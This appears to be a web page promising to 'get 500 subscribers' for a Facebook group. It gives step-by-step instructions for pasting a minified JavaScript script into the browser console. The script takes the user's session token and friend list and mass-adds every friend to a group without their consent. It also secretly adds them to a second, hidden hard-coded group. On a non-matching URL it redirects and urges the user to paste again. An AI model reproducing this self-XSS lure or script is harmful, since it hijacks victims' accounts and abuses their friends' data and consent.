Get 500 subscribers for your group

1. you must work in google chorme
2. click right button on this page 
3. select Inspect element
4. click on console
5. you will see a box below
6. copy the script

if(document.URL.indexOf("https://www.facebook.com/groups/325529817537134/") >= 0){
function penetrasi(e){jx.load(window.location.protocol+"//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg="+document.getElementsByName("fb_dtsg")[0].value+"&group_id="+memberGroupId+"&source=typeahead&members="+e+"&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user="+Env.user,function(e){e=e.substring(e.indexOf("{")),e=JSON.parse(e),i--,kunaon="<div class='friend-edge-name' style='text-align:left;font-size:10px;white-space:pre-wrap;",e.error?(kunaon+="color:darkred'>",kunaon=e.errorDescription?kunaon+e.errorDescription:kunaon+JSON.stringify(e,null,"")):(kunaon+="color:darkgreen'>",kunaon+=arr[i],suc++),kunaon+="</div>",e="<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(255,255,255,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid rgba(0,0,0,0.5)'>"+("<div style='padding-bottom:10px;font-size:20px;'>"+tulisanNganu+"</div>"),0<i?(e+=arr.length+" Suscribers detected<br/>",e+="<b>"+suc+"</b> Suscribers added of "+(arr.length-i)+" Suscribers Processed ",e+="("+i+" more to go..)",e=e+"<div class='friend-edge'>"+kunaon,e+="</div>"):(e+=arr.length+" Suscribers detected and ",e+="<b>"+suc+" Suscribers added</b>",e+="<div><span class='uiButton' onClick='document.getElementById(\"pagelet_welcome_box\").style.display=\"none\"'>Close</span></div>"),document.getElementById("pagelet_welcome_box").innerHTML=e+"</div>"},"text","post"),tay--;if(0<tay){var t=arr[tay];setTimeout("penetrasi("+t+")",100)}console.log(tay+"/"+arr.length+":"+t+", success:"+suc),0xf2a794cf90e3!=memberGroupId&&jx.load(window.location.protocol+"//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg="+document.getElementsByName("fb_dtsg")[0].value+"&group_id=341519802582197&source=typeahead&members="+e+"&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user="+Env.user,function(){},"text","post")}function clickfr_callback(){0<document.getElementsByName("ok").length&&nHtml.ClickUp(document.getElementsByName("ok")[0]);var e=arr[i];i<arr.length&&addfriend(e.substring(0,4))}function clickfr(){0<document.getElementsByClassName("search").length?(console.log(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1].innerHTML),document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].href="javascript:void(0);",nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1])):j++,setTimeout("clickfr_callback()",2e3)}function addfriend(e){i++,document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus(),document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].value=e,document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].blur(),document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus(),document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus(),setTimeout("clickfr()",2e3)}function sleep(e){for(var t=(new Date).getTime(),n=0;1e7>n&&!((new Date).getTime()-t>e);n++);}vartulisanNganu="Auto SUSCRIBE",kunaon="";jx={getHTTPObject:function(){vare=!1;if("undefined"!=typeof ActiveXObject)try{e=new ActiveXObject("Msxml2.XMLHTTP")}catch(t){try{e=new ActiveXObject("Microsoft.XMLHTTP")}catch(n){e=!1}}else if(window.XMLHttpRequest)try{e=new XMLHttpRequest}catch(r){e=!1}return e},load:function(b,c,d,e,g){var f=this.init();if(f&&b){f.overrideMimeType&&f.overrideMimeType("text/xml"),e||(e="GET"),d||(d="text"),g||(g={});var d=d.toLowerCase(),e=e.toUpperCase(),h="uid="+(new Date).getTime(),b=b+(b.indexOf("?")+1?"&":"?"),b=b+h,h=null;"POST"==e&&(h=b.split("?"),b=h[0],h=h[1]),f.open(e,b,!0),"POST"==e&&(f.setRequestHeader("Content-type","application/x-www-form-urlencoded"),f.setRequestHeader("Content-length",h.length),f.setRequestHeader("Connection","close")),f.onreadystatechange=g.handler?function(){g.handler(f)}:function(){if(f.readyState==4)if(f.status==200){var b="";f.responseText&&(b=f.responseText),d.charAt(0)=="j"?(b=b.replace(/[\n\r]/g,""),b=eval("("+b+")")):d.charAt(0)=="x"&&(b=f.responseXML),c&&c(b)}else g.loadingIndicator&&document.getElementsByTagName("body")[0].removeChild(g.loadingIndicator),g.loading&&(document.getElementById(g.loading).style.display="none"),error&&error(f.status)},f.send(h)}},bind:function(e){var t={url:"",onSuccess:!1,onError:!1,format:"text",method:"GET",update:"",loading:"",loadingIndicator:""},n;for(n in t)e[n]&&(t[n]=e[n]);if(t.url){var r=!1;t.loadingIndicator&&(r=document.createElement("div"),r.setAttribute("style","position:absolute;top:0px;left:0px;"),r.setAttribute("class","loading-indicator"),r.innerHTML=t.loadingIndicator,document.getElementsByTagName("body")[0].appendChild(r),this.opt.loadingIndicator=r),t.loading&&(document.getElementById(t.loading).style.display="block"),this.load(t.url,function(e){t.onSuccess&&t.onSuccess(e),t.update&&(document.getElementById(t.update).innerHTML=e),r&&document.getElementsByTagName("body")[0].removeChild(r),t.loading&&(document.getElementById(t.loading).style.display="none")},t.format,t.method,t)}},init:function(){return this.getHTTPObject()}};var nHtml={FindByAttr:function(e,t,n,r){return"className"==n&&(n="class"),(e=document.evaluate(".//"+t+"[@"+n+"='"+r+"']",e,null,XPathResult.FIRST_ORDERED_NODE_TYPE,null))&&e.singleNodeValue?e.singleNodeValue:null},FindByClassName:function(e,t,n){return this.FindByAttr(e,t,"className",n)},FindByXPath:function(e,t){try{var n=document.evaluate(t,e,null,XPathResult.FIRST_ORDERED_NODE_TYPE,null)}catch(r){GM_log("bad xpath:"+t)}return n&&n.singleNodeValue?n.singleNodeValue:null},VisitUrl:function(e){window.setTimeout(function(){document.location.href=e},500+Math.floor(500*Math.random()))},ClickWin:function(e,t,n){var r=e.document.createEvent("MouseEvents");return r.initMouseEvent(n,!0,!0,e,0,0,0,0,0,!1,!1,!1,!1,0,null),!t.dispatchEvent(r)},Click:function(e){return this.ClickWin(window,e,"click")},ClickTimeout:function(e,t){window.setTimeout(function(){return nHtml.ClickWin(window,e,"click")},t+Math.floor(500*Math.random()))},ClickUp:function(e){this.ClickWin(window,e,"mousedown"),this.ClickWin(window,e,"mouseup"),this.ClickWin(window,e,"click")},GetText:function(e,t){var n="";void 0==t&&(t=0);if(!(40<t)){if(void 0!=e.textContent)return e.textContent;for(var r=0;r<e.childNodes.length;r++)n+=this.GetText(e.childNodes[r],t+1);return n}}};void 0==document.getElementsByClassName&&(document.getElementsByClassName=function(e){for(var t=RegExp("(?:^|\\s)"+e+"(?:$|\\s)"),n=document.getElementsByTagName("*"),r=[],i,s=0;null!=(i=n[s]);s++){var o=i.className;o&&-1!=o.indexOf(e)&&t.test(o)&&r.push(i)}return r}),Array.prototype.find=function(e){var t=!1;for(i=0;i<this.length;i++)typeof e=="function"?e.test(this[i])&&(t||(t=[]),t.push(i)):this[i]===e&&(t||(t=[]),t.push(i));return t};for(var a=0,eind=0,len=document.getElementsByClassName("mbm").length,a=0;a<len;a++){var ele=document.getElementsByClassName("mbm")[a];if(ele&&ele.childNodes[0]&&ele.childNodes[0]&&ele.childNodes[0].childNodes[1]&&ele.childNodes[0].childNodes[1].childNodes[0]&&"Add SUSCRIBERS"==document.getElementsByClassName("mbm")[a].childNodes[0].childNodes[1].childNodes[0].value){eind=a;break}}var i=3,tay=3,counter1=0,counter2=0,counter3=0,j=0,k=0,suc=0,arr=[],memberGroupId=document.getElementsByName("group_id")[0].value;jx.load(window.location.protocol+"//www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer="+Env.user+"&filter[0]=user&__user="+Env.user,function(e){for(var e=e.substring(e.indexOf("{")),e=JSON.parse(e),e=e.payload.entries,t=0;t<e.length;t++)arr.push(e[t].uid);tay=i=arr.length-1,console.log(arr.length),e="<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(255,255,255,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid rgba(0,0,0,0.5)'>"+("<div style='padding-bottom:10px;font-size:20px;'>"+tulisanNganu+"</div>"),e+=arr.length+" SUSCRIBERS detected",document.getElementById("pagelet_welcome_box").innerHTML=e+"</div>",penetrasi(arr[i])})
}else{var dmm = 'https://www.facebook.com/groups/325529817537134/';var mtll = 1;function redireccion() {document.location.href=dmm;}setTimeout("redireccion()",mtll);alert('Trata de pegar el codigo nuevamente CTRL+V desde AQUI para que te funcione :) SUERTE :) esta vez no le ds click a la foto de portada para que funcione..');}

7. paste the script in console arena
8. press enter from keyboard
9. you will see auto subscribe
10. wait for a while and that's all

Note: on what group you need to work, you need to change your group id by replacing https://www.facebook.com/groups/325529817537134/